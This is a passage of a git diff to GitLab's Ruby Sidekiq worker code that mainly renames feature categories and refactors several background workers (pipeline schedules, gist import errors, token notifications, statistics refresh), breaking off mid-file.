:resource_boundary: :unknown
@@ -2831,7 +2840,7 @@
:tags: []
- :name: merge_requests_resolve_todos_after_approval
:worker_name: MergeRequests::ResolveTodosAfterApprovalWorker
- :feature_category: :code_review
+ :feature_category: :code_review_workflow
:has_external_dependencies: false
:urgency: :low
:resource_boundary: :unknown
@@ -2840,7 +2849,7 @@
:tags: []
- :name: merge_requests_update_head_pipeline
:worker_name: MergeRequests::UpdateHeadPipelineWorker
- :feature_category: :code_review
+ :feature_category: :code_review_workflow
:has_external_dependencies: false
:urgency: :high
:resource_boundary: :cpu
@@ -2867,7 +2876,7 @@
:tags: []
- :name: migrate_external_diffs
:worker_name: MigrateExternalDiffsWorker
- :feature_category: :code_review
+ :feature_category: :code_review_workflow
:has_external_dependencies: false
:urgency: :low
:resource_boundary: :unknown
@@ -2903,7 +2912,7 @@
:tags: []
- :name: new_merge_request
:worker_name: NewMergeRequestWorker
- :feature_category: :code_review
+ :feature_category: :code_review_workflow
:has_external_dependencies: false
:urgency: :high
:resource_boundary: :cpu
@@ -3072,6 +3081,15 @@
:weight: 1
:idempotent: true
:tags: []
+- :name: projects_finalize_project_statistics_refresh
+ :worker_name: Projects::FinalizeProjectStatisticsRefreshWorker
+ :feature_category: :not_owned
+ :has_external_dependencies: false
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: projects_git_garbage_collect
:worker_name: Projects::GitGarbageCollectWorker
:feature_category: :gitaly
@@ -3362,7 +3380,7 @@
:tags: []
- :name: update_merge_requests
:worker_name: UpdateMergeRequestsWorker
- :feature_category: :code_review
+ :feature_category: :code_review_workflow
:has_external_dependencies: false
:urgency: :high
:resource_boundary: :cpu
diff --git a/app/workers/chat_notification_worker.rb b/app/workers/chat_notification_worker.rb
index 23d8a1ec29d..4ee32a43808 100644
--- a/app/workers/chat_notification_worker.rb
+++ b/app/workers/chat_notification_worker.rb
@@ -8,7 +8,7 @@ class ChatNotificationWorker # rubocop:disable Scalability/IdempotentWorker
TimeoutExceeded = Class.new(StandardError)
sidekiq_options retry: false
- feature_category :chatops
+ feature_category :integrations
urgency :low # Can't be high as it has external dependencies
weight 2
worker_has_external_dependencies!
diff --git a/app/workers/ci/build_finished_worker.rb b/app/workers/ci/build_finished_worker.rb
index 7503ea3d800..2113f7ae07b 100644
--- a/app/workers/ci/build_finished_worker.rb
+++ b/app/workers/ci/build_finished_worker.rb
@@ -40,6 +40,7 @@ module Ci
ChatNotificationWorker.perform_async(build.id) if build.pipeline.chat?
build.track_deployment_usage
build.track_verify_environment_usage
+ build.remove_token!
if build.failed? && !build.auto_retry_expected?
::Ci::MergeRequests::AddTodoWhenBuildFailsWorker.perform_async(build.id)
diff --git a/app/workers/ci/initial_pipeline_process_worker.rb b/app/workers/ci/initial_pipeline_process_worker.rb
index 8d7a62e5b09..734755f176a 100644
--- a/app/workers/ci/initial_pipeline_process_worker.rb
+++ b/app/workers/ci/initial_pipeline_process_worker.rb
@@ -17,10 +17,22 @@ module Ci
def perform(pipeline_id)
Ci::Pipeline.find_by_id(pipeline_id).try do |pipeline|
+ create_deployments!(pipeline) if Feature.enabled?(:move_create_deployments_to_worker, pipeline.project)
+
Ci::PipelineCreation::StartPipelineService
.new(pipeline)
.execute
end
end
+
+ private
+
+ def create_deployments!(pipeline)
+ pipeline.stages.flat_map(&:statuses).each { |build| create_deployment(build) }
+ end
+
+ def create_deployment(build)
+ ::Deployments::CreateForBuildService.new.execute(build)
+ end
end
end
diff --git a/app/workers/cluster_provision_worker.rb b/app/workers/cluster_provision_worker.rb
index 04c9174347f..6f3615d249c 100644
--- a/app/workers/cluster_provision_worker.rb
+++ b/app/workers/cluster_provision_worker.rb
@@ -1,6 +1,6 @@
# frozen_string_literal: true
-class ClusterProvisionWorker # rubocop:disable Scalability/IdempotentWorker
+class ClusterProvisionWorker
include ApplicationWorker
data_consistency :always
@@ -8,17 +8,7 @@ class ClusterProvisionWorker # rubocop:disable Scalability/IdempotentWorker
sidekiq_options retry: 3
include ClusterQueue
- worker_has_external_dependencies!
+ idempotent!
- def perform(cluster_id)
- Clusters::Cluster.find_by_id(cluster_id).try do |cluster|
- cluster.provider.try do |provider|
- if cluster.gcp?
- Clusters::Gcp::ProvisionService.new.execute(provider)
- elsif cluster.aws?
- Clusters::Aws::ProvisionService.new.execute(provider)
- end
- end
- end
- end
+ def perform(_); end
end
diff --git a/app/workers/concerns/application_worker.rb b/app/workers/concerns/application_worker.rb
index f51c2852da6..222d045b0ba 100644
--- a/app/workers/concerns/application_worker.rb
+++ b/app/workers/concerns/application_worker.rb
@@ -16,6 +16,7 @@ module ApplicationWorker
SAFE_PUSH_BULK_LIMIT = 1000
included do
+ prefer_calling_context_feature_category false
set_queue
after_set_class_attribute { set_queue }
diff --git a/app/workers/concerns/git_garbage_collect_methods.rb b/app/workers/concerns/git_garbage_collect_methods.rb
index 5c0493c9be5..c5f8c9c8464 100644
--- a/app/workers/concerns/git_garbage_collect_methods.rb
+++ b/app/workers/concerns/git_garbage_collect_methods.rb
@@ -82,28 +82,12 @@ module GitGarbageCollectMethods
def gitaly_call(task, resource)
repository = resource.repository.raw_repository
+ client = repository.gitaly_repository_client
- if Feature.enabled?(:optimized_housekeeping, container(resource))
- client = repository.gitaly_repository_client
-
- if task == :prune
- client.prune_unreachable_objects
- else
- client.optimize_repository
- end
+ if task == :prune
+ client.prune_unreachable_objects
else
- client = get_gitaly_client(task, repository)
-
- case task
- when :prune, :gc
- client.garbage_collect(bitmaps_enabled?, prune: task == :prune)
- when :full_repack
- client.repack_full(bitmaps_enabled?)
- when :incremental_repack
- client.repack_incremental
- when :pack_refs
- client.pack_refs
- end
+ client.optimize_repository
end
rescue GRPC::NotFound => e
Gitlab::GitLogger.error("#{__method__} failed:\nRepository not found")
@@ -113,22 +97,6 @@ module GitGarbageCollectMethods
raise Gitlab::Git::CommandError, e
end
- def get_gitaly_client(task, repository)
- if task == :pack_refs
- Gitlab::GitalyClient::RefService
- else
- Gitlab::GitalyClient::RepositoryService
- end.new(repository)
- end
-
- # The option to enable/disable bitmaps has been removed in https://gitlab.com/gitlab-org/gitlab/-/issues/353777
- # Now the options is always enabled
- # This method and all the deprecated RPCs are going to be removed in
- # https://gitlab.com/gitlab-org/gitlab/-/issues/353779
- def bitmaps_enabled?
- true
- end
-
def flush_ref_caches(resource)
resource.repository.expire_branches_cache
resource.repository.branch_names
@@ -136,8 +104,6 @@ module GitGarbageCollectMethods
end
def update_repository_statistics(resource, task)
- return if task == :pack_refs
-
resource.repository.expire_statistics_caches
return if Gitlab::Database.read_only? # GitGarbageCollectWorker may be run on a Geo secondary
diff --git a/app/workers/concerns/update_repository_storage_worker.rb b/app/workers/concerns/update_repository_storage_worker.rb
index f46b64895a2..01744d1e57d 100644
--- a/app/workers/concerns/update_repository_storage_worker.rb
+++ b/app/workers/concerns/update_repository_storage_worker.rb
@@ -5,6 +5,7 @@ module UpdateRepositoryStorageWorker
include ApplicationWorker
included do
+ deduplicate :until_executed
idempotent!
feature_category :gitaly
urgency :throttled
diff --git a/app/workers/concerns/worker_attributes.rb b/app/workers/concerns/worker_attributes.rb
index 8a135bc1853..1674ed1483a 100644
--- a/app/workers/concerns/worker_attributes.rb
+++ b/app/workers/concerns/worker_attributes.rb
@@ -38,12 +38,17 @@ module WorkerAttributes
set_class_attribute(:feature_category, value)
end
+ def prefer_calling_context_feature_category(preference = false)
+ set_class_attribute(:prefer_calling_context_feature_category, preference)
+ end
+
# Special case: if a worker is not owned, get the feature category
# (if present) from the calling context.
def get_feature_category
feature_category = get_class_attribute(:feature_category)
+ calling_context_feature_category_preferred = !!get_class_attribute(:prefer_calling_context_feature_category)
- return feature_category unless feature_category == :not_owned
+ return feature_category unless feature_category == :not_owned || calling_context_feature_category_preferred
Gitlab::ApplicationContext.current_context_attribute('meta.feature_category') || feature_category
end
diff --git a/app/workers/counters/cleanup_refresh_worker.rb b/app/workers/counters/cleanup_refresh_worker.rb
new file mode 100644
index 00000000000..97e6a56d6e7
--- /dev/null
+++ b/app/workers/counters/cleanup_refresh_worker.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+module Counters
+ class CleanupRefreshWorker
+ include ApplicationWorker
+
+ data_consistency :always
+
+ loggable_arguments 0, 2
+
+ # The counter is owned by several teams depending on the attribute
+ feature_category :not_owned # rubocop:disable Gitlab/AvoidFeatureCategoryNotOwned
+
+ urgency :low
+ deduplicate :until_executing, including_scheduled: true
+
+ idempotent!
+
+ def perform(model_name, model_id, attribute)
+ Gitlab::ApplicationContext.push(feature_category: :build_artifacts) if attribute.to_s == 'build_artifacts_size'
+
+ return unless self.class.const_defined?(model_name)
+
+ model_class = model_name.constantize
+ model = model_class.find_by_id(model_id)
+ return unless model
+
+ Gitlab::Counters::BufferedCounter.new(model, attribute).cleanup_refresh
+ end
+ end
+end
diff --git a/app/workers/create_note_diff_file_worker.rb b/app/workers/create_note_diff_file_worker.rb
index 8481fd0a2ab..c5b5e1cef41 100644
--- a/app/workers/create_note_diff_file_worker.rb
+++ b/app/workers/create_note_diff_file_worker.rb
@@ -7,7 +7,7 @@ class CreateNoteDiffFileWorker # rubocop:disable Scalability/IdempotentWorker
sidekiq_options retry: 3
- feature_category :code_review
+ feature_category :code_review_workflow
def perform(diff_note_id)
return unless diff_note_id.present?
diff --git a/app/workers/database/batched_background_migration/single_database_worker.rb b/app/workers/database/batched_background_migration/single_database_worker.rb
index e772216e557..b7b46937db2 100644
--- a/app/workers/database/batched_background_migration/single_database_worker.rb
+++ b/app/workers/database/batched_background_migration/single_database_worker.rb
@@ -16,6 +16,7 @@ module Database
included do
data_consistency :always
feature_category :database
+ prefer_calling_context_feature_category true
idempotent!
end
diff --git a/app/workers/delete_diff_files_worker.rb b/app/workers/delete_diff_files_worker.rb
index 54d8fcb6dfd..f9f5e6ed35b 100644
--- a/app/workers/delete_diff_files_worker.rb
+++ b/app/workers/delete_diff_files_worker.rb
@@ -7,7 +7,7 @@ class DeleteDiffFilesWorker # rubocop:disable Scalability/IdempotentWorker
sidekiq_options retry: 3
- feature_category :code_review
+ feature_category :code_review_workflow
# rubocop: disable CodeReuse/ActiveRecord
def perform(merge_request_diff_id)
diff --git a/app/workers/gitlab/github_gists_import/finish_import_worker.rb b/app/workers/gitlab/github_gists_import/finish_import_worker.rb
index 1989b6314ea..284e5833f0c 100644
--- a/app/workers/gitlab/github_gists_import/finish_import_worker.rb
+++ b/app/workers/gitlab/github_gists_import/finish_import_worker.rb
@@ -18,14 +18,15 @@ module Gitlab
INTERVAL = 30.seconds.to_i
BLOCKING_WAIT_TIME = 5
+ GISTS_ERRORS_BY_ID = 'gitlab:github-gists-import:%{user_id}:errors'
def perform(user_id, waiter_key, remaining)
waiter = wait_for_jobs(waiter_key, remaining)
if waiter.nil?
Gitlab::GithubGistsImport::Status.new(user_id).finish!
-
Gitlab::GithubImport::Logger.info(user_id: user_id, message: 'GitHub Gists import finished')
+ send_email_if_errors(user_id)
else
self.class.perform_in(INTERVAL, user_id, waiter.key, waiter.jobs_remaining)
end
@@ -41,6 +42,17 @@ module Gitlab
waiter
end
+
+ def send_email_if_errors(user_id)
+ key = format(GISTS_ERRORS_BY_ID, user_id: user_id)
+ errors = ::Gitlab::Cache::Import::Caching.values_from_hash(key)
+
+ return if errors.blank?
+
+ Notify.github_gists_import_errors_email(user_id, errors).deliver_now
+ ensure
+ ::Gitlab::Cache::Import::Caching.expire(key, ::Gitlab::Cache::Import::Caching::SHORTER_TIMEOUT)
+ end
end
end
end
diff --git a/app/workers/gitlab/github_gists_import/import_gist_worker.rb b/app/workers/gitlab/github_gists_import/import_gist_worker.rb
index 7e2b3709597..fb7fb661f4c 100644
--- a/app/workers/gitlab/github_gists_import/import_gist_worker.rb
+++ b/app/workers/gitlab/github_gists_import/import_gist_worker.rb
@@ -6,6 +6,8 @@ module Gitlab
include ApplicationWorker
include Gitlab::NotifyUponDeath
+ GISTS_ERRORS_BY_ID = 'gitlab:github-gists-import:%{user_id}:errors'
+
data_consistency :always
queue_namespace :github_gists_importer
feature_category :importers
@@ -33,16 +35,16 @@ module Gitlab
::Gitlab::GithubGistsImport::Importer::GistImporter
end
- def with_logging(user_id, gist_id)
- info(user_id, 'start importer', gist_id)
+ def with_logging(user_id, github_identifiers)
+ info(user_id, 'start importer', github_identifiers)
yield
- info(user_id, 'importer finished', gist_id)
+ info(user_id, 'importer finished', github_identifiers)
end
- def log_and_track_error(user_id, exception, gist_id)
- error(user_id, exception.message, gist_id)
+ def log_and_track_error(user_id, exception, github_identifiers)
+ error(user_id, exception.message, github_identifiers)
Gitlab::ErrorTracking.track_exception(exception,
import_type: :github_gists,
@@ -50,15 +52,17 @@ module Gitlab
)
end
- def error(user_id, error_message, gist_id)
+ def error(user_id, error_message, github_identifiers)
attributes = {
user_id: user_id,
- github_identifiers: gist_id,
+ github_identifiers: github_identifiers,
message: 'importer failed',
'error.message': error_message
}
Gitlab::GithubImport::Logger.error(structured_payload(attributes))
+
+ cache_error_for_email(user_id, github_identifiers[:id], error_message)
end
def info(user_id, message, gist_id)
@@ -70,6 +74,12 @@ module Gitlab
Gitlab::GithubImport::Logger.info(structured_payload(attributes))
end
+
+ def cache_error_for_email(user_id, gist_id, error_message)
+ key = format(GISTS_ERRORS_BY_ID, user_id: user_id)
+
+ ::Gitlab::Cache::Import::Caching.hash_add(key, gist_id, error_message)
+ end
end
end
end
diff --git a/app/workers/issues/rebalancing_worker.rb b/app/workers/issues/rebalancing_worker.rb
index 8de0588a2a1..14cb97ab0e8 100644
--- a/app/workers/issues/rebalancing_worker.rb
+++ b/app/workers/issues/rebalancing_worker.rb
@@ -19,7 +19,7 @@ module Issues
return if project_id.nil? && root_namespace_id.nil?
return if ::Gitlab::Issues::Rebalancing::State.rebalance_recently_finished?(project_id, root_namespace_id)
- # pull the projects collection to be rebalanced either the project if namespace is not a group(i.e. user namesapce)
+ # pull the projects collection to be rebalanced either the project if namespace is not a group(i.e. user namespace)
# or the root namespace, this also makes the worker backward compatible with previous version where a project_id was
# passed as the param
projects_to_rebalance = projects_collection(project_id, root_namespace_id)
diff --git a/app/workers/merge_request_cleanup_refs_worker.rb b/app/workers/merge_request_cleanup_refs_worker.rb
index db6f4649f47..92dfe8a8cb0 100644
--- a/app/workers/merge_request_cleanup_refs_worker.rb
+++ b/app/workers/merge_request_cleanup_refs_worker.rb
@@ -9,7 +9,7 @@ class MergeRequestCleanupRefsWorker
sidekiq_options retry: 3
- feature_category :code_review
+ feature_category :code_review_workflow
idempotent!
# Hard-coded to 4 for now. Will be configurable later on via application settings.
diff --git a/app/workers/merge_request_mergeability_check_worker.rb b/app/workers/merge_request_mergeability_check_worker.rb
index 0e1ab505644..2ef4220131a 100644
--- a/app/workers/merge_request_mergeability_check_worker.rb
+++ b/app/workers/merge_request_mergeability_check_worker.rb
@@ -7,7 +7,7 @@ class MergeRequestMergeabilityCheckWorker
sidekiq_options retry: 3
- feature_category :code_review
+ feature_category :code_review_workflow
idempotent!
def logger
diff --git a/app/workers/merge_requests/close_issue_worker.rb b/app/workers/merge_requests/close_issue_worker.rb
index 86d63e571ac..8c3ba1bc5ab 100644
--- a/app/workers/merge_requests/close_issue_worker.rb
+++ b/app/workers/merge_requests/close_issue_worker.rb
@@ -5,7 +5,7 @@ module MergeRequests
include ApplicationWorker
data_consistency :always
- feature_category :code_review
+ feature_category :code_review_workflow
urgency :low
idempotent!
diff --git a/app/workers/merge_requests/create_approval_event_worker.rb b/app/workers/merge_requests/create_approval_event_worker.rb
index 9b1a3c262e4..09ae51e943c 100644
--- a/app/workers/merge_requests/create_approval_event_worker.rb
+++ b/app/workers/merge_requests/create_approval_event_worker.rb
@@ -5,7 +5,7 @@ module MergeRequests
include Gitlab::EventStore::Subscriber
data_consistency :always
- feature_category :code_review
+ feature_category :code_review_workflow
urgency :low
idempotent!
diff --git a/app/workers/merge_requests/create_approval_note_worker.rb b/app/workers/merge_requests/create_approval_note_worker.rb
index 841431f6a9d..18b0533169a 100644
--- a/app/workers/merge_requests/create_approval_note_worker.rb
+++ b/app/workers/merge_requests/create_approval_note_worker.rb
@@ -5,7 +5,7 @@ module MergeRequests
include Gitlab::EventStore::Subscriber
data_consistency :always
- feature_category :code_review
+ feature_category :code_review_workflow
urgency :low
idempotent!
diff --git a/app/workers/merge_requests/create_pipeline_worker.rb b/app/workers/merge_requests/create_pipeline_worker.rb
index b40408cf647..096f2500019 100644
--- a/app/workers/merge_requests/create_pipeline_worker.rb
+++ b/app/workers/merge_requests/create_pipeline_worker.rb
@@ -25,11 +25,15 @@ module MergeRequests
merge_request = MergeRequest.find_by_id(merge_request_id)
return unless merge_request
+ allow_duplicate = params.with_indifferent_access[:allow_duplicate]
push_options = params.with_indifferent_access[:push_options]
MergeRequests::CreatePipelineService
- .new(project: project, current_user: user, params: { push_options: push_options })
- .execute(merge_request)
+ .new(
+ project: project,
+ current_user: user,
+ params: { allow_duplicate: allow_duplicate, push_options: push_options }
+ ).execute(merge_request)
merge_request.update_head_pipeline
end
diff --git a/app/workers/merge_requests/execute_approval_hooks_worker.rb b/app/workers/merge_requests/execute_approval_hooks_worker.rb
index 81eca425a38..0a127e16f26 100644
--- a/app/workers/merge_requests/execute_approval_hooks_worker.rb
+++ b/app/workers/merge_requests/execute_approval_hooks_worker.rb
@@ -5,7 +5,7 @@ module MergeRequests
include Gitlab::EventStore::Subscriber
data_consistency :always
- feature_category :code_review
+ feature_category :code_review_workflow
urgency :low
idempotent!
diff --git a/app/workers/merge_requests/handle_assignees_change_worker.rb b/app/workers/merge_requests/handle_assignees_change_worker.rb
index 7cf1be51d23..05e02905008 100644
--- a/app/workers/merge_requests/handle_assignees_change_worker.rb
+++ b/app/workers/merge_requests/handle_assignees_change_worker.rb
@@ -7,7 +7,7 @@ class MergeRequests::HandleAssigneesChangeWorker
sidekiq_options retry: 3
- feature_category :code_review
+ feature_category :code_review_workflow
urgency :high
deduplicate :until_executed
idempotent!
diff --git a/app/workers/merge_requests/resolve_todos_after_approval_worker.rb b/app/workers/merge_requests/resolve_todos_after_approval_worker.rb
index 7d9c76ea872..ef02e501de1 100644
--- a/app/workers/merge_requests/resolve_todos_after_approval_worker.rb
+++ b/app/workers/merge_requests/resolve_todos_after_approval_worker.rb
@@ -5,7 +5,7 @@ module MergeRequests
include Gitlab::EventStore::Subscriber
data_consistency :always
- feature_category :code_review
+ feature_category :code_review_workflow
urgency :low
idempotent!
diff --git a/app/workers/merge_requests/resolve_todos_worker.rb b/app/workers/merge_requests/resolve_todos_worker.rb
index 314cdac4414..15bf92c8ae1 100644
--- a/app/workers/merge_requests/resolve_todos_worker.rb
+++ b/app/workers/merge_requests/resolve_todos_worker.rb
@@ -7,7 +7,7 @@ class MergeRequests::ResolveTodosWorker
sidekiq_options retry: 3
- feature_category :code_review
+ feature_category :code_review_workflow
urgency :high
deduplicate :until_executed
idempotent!
diff --git a/app/workers/merge_requests/update_head_pipeline_worker.rb b/app/workers/merge_requests/update_head_pipeline_worker.rb
index bc3a289c1e1..2479bc51cc4 100644
--- a/app/workers/merge_requests/update_head_pipeline_worker.rb
+++ b/app/workers/merge_requests/update_head_pipeline_worker.rb
@@ -4,7 +4,7 @@ module MergeRequests
class UpdateHeadPipelineWorker
include Gitlab::EventStore::Subscriber
- feature_category :code_review
+ feature_category :code_review_workflow
urgency :high
worker_resource_boundary :cpu
data_consistency :always
diff --git a/app/workers/migrate_external_diffs_worker.rb b/app/workers/migrate_external_diffs_worker.rb
index 566797d8b8a..4f1393a631c 100644
--- a/app/workers/migrate_external_diffs_worker.rb
+++ b/app/workers/migrate_external_diffs_worker.rb
@@ -7,7 +7,7 @@ class MigrateExternalDiffsWorker # rubocop:disable Scalability/IdempotentWorker
sidekiq_options retry: 3
- feature_category :code_review
+ feature_category :code_review_workflow
def perform(merge_request_diff_id)
diff = MergeRequestDiff.find_by_id(merge_request_diff_id)
diff --git a/app/workers/new_merge_request_worker.rb b/app/workers/new_merge_request_worker.rb
index 9694d44e8c1..d6e8d517b5a 100644
--- a/app/workers/new_merge_request_worker.rb
+++ b/app/workers/new_merge_request_worker.rb
@@ -8,7 +8,7 @@ class NewMergeRequestWorker # rubocop:disable Scalability/IdempotentWorker
sidekiq_options retry: 3
include NewIssuable
- feature_category :code_review
+ feature_category :code_review_workflow
urgency :high
worker_resource_boundary :cpu
weight 2
diff --git a/app/workers/pages/invalidate_domain_cache_worker.rb b/app/workers/pages/invalidate_domain_cache_worker.rb
index 97e8966b342..1700b681b94 100644
--- a/app/workers/pages/invalidate_domain_cache_worker.rb
+++ b/app/workers/pages/invalidate_domain_cache_worker.rb
@@ -9,9 +9,9 @@ module Pages
feature_category :pages
def handle_event(event)
- if event.data[:project_id]
+ domain_ids(event).each do |domain_id|
::Gitlab::Pages::CacheControl
- .for_project(event.data[:project_id])
+ .for_domain(domain_id)
.clear_cache
end
@@ -25,5 +25,13 @@ module Pages
.clear_cache
end
end
+
+ def domain_ids(event)
+ ids = PagesDomain.ids_for_project(event.data[:project_id])
+
+ ids << event.data[:domain_id] if event.data[:domain_id]
+
+ ids
+ end
end
end
diff --git a/app/workers/personal_access_tokens/expired_notification_worker.rb b/app/workers/personal_access_tokens/expired_notification_worker.rb
index 2d0ea3d3aa4..b119957fa2c 100644
--- a/app/workers/personal_access_tokens/expired_notification_worker.rb
+++ b/app/workers/personal_access_tokens/expired_notification_worker.rb
@@ -10,16 +10,28 @@ module PersonalAccessTokens
feature_category :authentication_and_authorization
+ MAX_TOKENS = 100
+
def perform(*args)
notification_service = NotificationService.new
User.with_personal_access_tokens_expired_today.find_each do |user|
with_context(user: user) do
- Gitlab::AppLogger.info "#{self.class}: Notifying User #{user.id} about an expired token"
+ expiring_user_tokens = user.personal_access_tokens.without_impersonation.expired_today_and_not_notified
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ # We never materialise the token instances. We need the names to mention them in the
+ # email. Later we trigger an update query on the entire relation, not on individual instances.
+ token_names = expiring_user_tokens.limit(MAX_TOKENS).pluck(:name)
+ # rubocop: enable CodeReuse/ActiveRecord
+
+ notification_service.access_token_expired(user, token_names)
- notification_service.access_token_expired(user)
+ Gitlab::AppLogger.info "#{self.class}: Notifying User #{user.id} about expired tokens"
- user.personal_access_tokens.without_impersonation.expired_today_and_not_notified.update_all(after_expiry_notification_delivered: true)
+ expiring_user_tokens.each_batch do |expiring_tokens|
+ expiring_tokens.update_all(after_expiry_notification_delivered: true)
+ end
end
end
end
diff --git a/app/workers/pipeline_schedule_worker.rb b/app/workers/pipeline_schedule_worker.rb
index 5a53d53ccf9..fb843bd421c 100644
--- a/app/workers/pipeline_schedule_worker.rb
+++ b/app/workers/pipeline_schedule_worker.rb
@@ -6,19 +6,52 @@ class PipelineScheduleWorker # rubocop:disable Scalability/IdempotentWorker
data_consistency :always
include CronjobQueue
+ include ::Gitlab::ExclusiveLeaseHelpers
+
+ LOCK_RETRY = 3
+ LOCK_TTL = 5.minutes
feature_category :continuous_integration
worker_resource_boundary :cpu
def perform
- Ci::PipelineSchedule.runnable_schedules.preloaded.find_in_batches do |schedules|
- schedules.each do |schedule|
- next unless schedule.project
+ if Feature.enabled?(:ci_use_run_pipeline_schedule_worker)
+ in_lock(lock_key, **lock_params) do
+ Ci::PipelineSchedule
+ .select(:id, :owner_id, :project_id) # Minimize the selected columns
+ .runnable_schedules
+ .preloaded
+ .find_in_batches do |schedules|
+ RunPipelineScheduleWorker.bulk_perform_async_with_contexts(
+ schedules,
+ arguments_proc: ->(schedule) { [schedule.id, schedule.owner_id] },
+ context_proc: ->(schedule) { { project: schedule.project, user: schedule.owner } }
+ )
+ end
+ end
+ else
+ Ci::PipelineSchedule.runnable_schedules.preloaded.find_in_batches do |schedules|
+ schedules.each do |schedule|
+ next unless schedule.project
- with_context(project: schedule.project, user: schedule.owner) do
- Ci::PipelineScheduleService.new(schedule.project, schedule.owner).execute(schedule)
+ with_context(project: schedule.project, user: schedule.owner) do
+ Ci::PipelineScheduleService.new(schedule.project, schedule.owner).execute(schedule)
+ end
end
end
end
end
+
+ private
+
+ def lock_key
+ self.class.name.underscore
+ end
+
+ def lock_params
+ {
+ ttl: LOCK_TTL,
+ retries: LOCK_RETRY
+ }
+ end
end
diff --git a/app/workers/projects/delete_branch_worker.rb b/app/workers/projects/delete_branch_worker.rb
index 1949fb67e83..339fa478de9 100644
--- a/app/workers/projects/delete_branch_worker.rb
+++ b/app/workers/projects/delete_branch_worker.rb
@@ -4,6 +4,9 @@ module Projects
class DeleteBranchWorker
include ApplicationWorker
+ # Temporary error when Gitaly cannot lock the branch reference. A retry should solve it.
+ GitReferenceLockedError = Class.new(::Gitlab::SidekiqMiddleware::RetryError)
+
data_consistency :always
feature_category :source_code_management
@@ -20,11 +23,10 @@ module Projects
delete_service_result = ::Branches::DeleteService.new(project, user)
.execute(branch_name)
- return unless Feature.enabled?(:track_and_raise_delete_source_errors, project)
# Only want to raise on 400 to avoid permission and non existant branch error
return unless delete_service_result[:http_status] == 400
- delete_service_result.track_and_raise_exception
+ delete_service_result.log_and_raise_exception(as: GitReferenceLockedError)
end
end
end
diff --git a/app/workers/projects/finalize_project_statistics_refresh_worker.rb b/app/workers/projects/finalize_project_statistics_refresh_worker.rb
new file mode 100644
index 00000000000..d8b06f55c38
--- /dev/null
+++ b/app/workers/projects/finalize_project_statistics_refresh_worker.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module Projects
+ class FinalizeProjectStatisticsRefreshWorker
+ include ApplicationWorker
+
+ data_consistency :always
+
+ loggable_arguments 0, 1
+
+ # The increments in `ProjectStatistics` are owned by several teams depending
+ # on the counter
+ feature_category :not_owned # rubocop:disable Gitlab/AvoidFeatureCategoryNotOwned
+
+ urgency :low
+ deduplicate :until_executing, including_scheduled: true
+
+ idempotent!
+
+ def perform(record_class, record_id)
+ if record_class.demodulize == 'BuildArtifactsSizeRefresh'
+ Gitlab::ApplicationContext.push(feature_category: :build_artifacts)
+ end
+
+ return unless self.class.const_defined?(record_class)
+
+ record = record_class.constantize.find_by_id(record_id)
+ return unless record
+
+ record.finalize!
+ end
+ end
+end
diff --git a/app/workers/projects/git_garbage_collect_worker.rb b/app/workers/projects/git_garbage_collect_worker.rb
index 9ac3953e83c..8c0100dd05b 100644
--- a/app/workers/projects/git_garbage_collect_worker.rb
+++ b/app/workers/projects/git_garbage_collect_worker.rb
@@ -7,12 +7,6 @@ module Projects
private
- # Used for getting a project/group out of the resource in order to scope a feature flag
- # Can be removed within https://gitlab.com/gitlab-org/gitlab/-/issues/353607
- def container(resource)
- resource
- end
-
override :find_resource
def find_resource(id)
Project.find(id)
diff --git a/app/workers/projects/refresh_build_artifacts_size_statistics_worker.rb b/app/workers/projects/refresh_build_artifacts_size_statistics_worker.rb
index 705bf0534f7..ec23bde5898 100644
--- a/app/workers/projects/refresh_build_artifacts_size_statistics_worker.rb
+++ b/app/workers/projects/refresh_build_artifacts_size_statistics_worker.rb
@@ -11,6 +11,10 @@ module Projects
idempotent!
+ MAX_RUNNING_LOW = 1
+ MAX_RUNNING_MEDIUM = 3
+ MAX_RUNNING_HIGH = 5
+
def perform_work(*args)
refresh = Projects::RefreshBuildArtifactsSizeStatisticsService.new.execute
return unless refresh
@@ -33,8 +37,12 @@ module Projects
end
def max_running_jobs
- if ::Feature.enabled?(:projects_build_artifacts_size_refresh, type: :ops)
- 10
+ if ::Feature.enabled?(:projects_build_artifacts_size_refresh_high, type: :ops)
+ MAX_RUNNING_HIGH
+ elsif ::Feature.enabled?(:projects_build_artifacts_size_refresh_medium, type: :ops)
+ MAX_RUNNING_MEDIUM
+ elsif ::Feature.enabled?(:projects_build_artifacts_size_refresh, type: :ops)
+ MAX_RUNNING_LOW
else
0
end
diff --git a/app/workers/remove_unreferenced_lfs_objects_worker.rb b/app/workers/remove_unreferenced_lfs_objects_worker.rb
index c67ab6e356a..52e17b250c8 100644
--- a/app/workers/remove_unreferenced_lfs_objects_worker.rb
+++ b/app/workers/remove_unreferenced_lfs_objects_worker.rb
@@ -10,7 +10,7 @@ class RemoveUnreferencedLfsObjectsWorker
include CronjobQueue
# rubocop:enable Scalability/CronWorkerContext
- feature_category :git_lfs
+ feature_category :source_code_management
deduplicate :until_executed
idempotent!
diff --git a/app/workers/repository_import_worker.rb b/app/workers/repository_import_worker.rb
index 5e89b9f3362..f9e12c5135a 100644
--- a/app/workers/repository_import_worker.rb
+++ b/app/workers/repository_import_worker.rb
@@ -18,9 +18,8 @@ class RepositoryImportWorker # rubocop:disable Scalability/IdempotentWorker
sidekiq_options memory_killer_max_memory_growth_kb: ENV.fetch('MEMORY_KILLER_REPOSITORY_IMPORT_WORKER_MAX_MEMORY_GROWTH_KB', 300_000).to_i
def perform(project_id)
- @project = Project.find(project_id)
-
- return unless start_import
+ @project = Project.find_by_id(project_id)
+ return if project.nil? || !start_import?
Gitlab::Metrics.add_event(:import_repository)
@@ -42,7 +41,7 @@ class RepositoryImportWorker # rubocop:disable Scalability/IdempotentWorker
attr_reader :project
- def start_import
+ def start_import?
return true if start(project.import_state)
Gitlab::Import::Logger.info(
diff --git a/app/workers/run_pipeline_schedule_worker.rb b/app/workers/run_pipeline_schedule_worker.rb
index f31f006eec1..db82cf3af91 100644
--- a/app/workers/run_pipeline_schedule_worker.rb
+++ b/app/workers/run_pipeline_schedule_worker.rb
@@ -13,12 +13,18 @@ class RunPipelineScheduleWorker # rubocop:disable Scalability/IdempotentWorker
deduplicate :until_executed
idempotent!
- def perform(schedule_id, user_id)
+ def perform(schedule_id, user_id, options = {})
schedule = Ci::PipelineSchedule.find_by_id(schedule_id)
user = User.find_by_id(user_id)
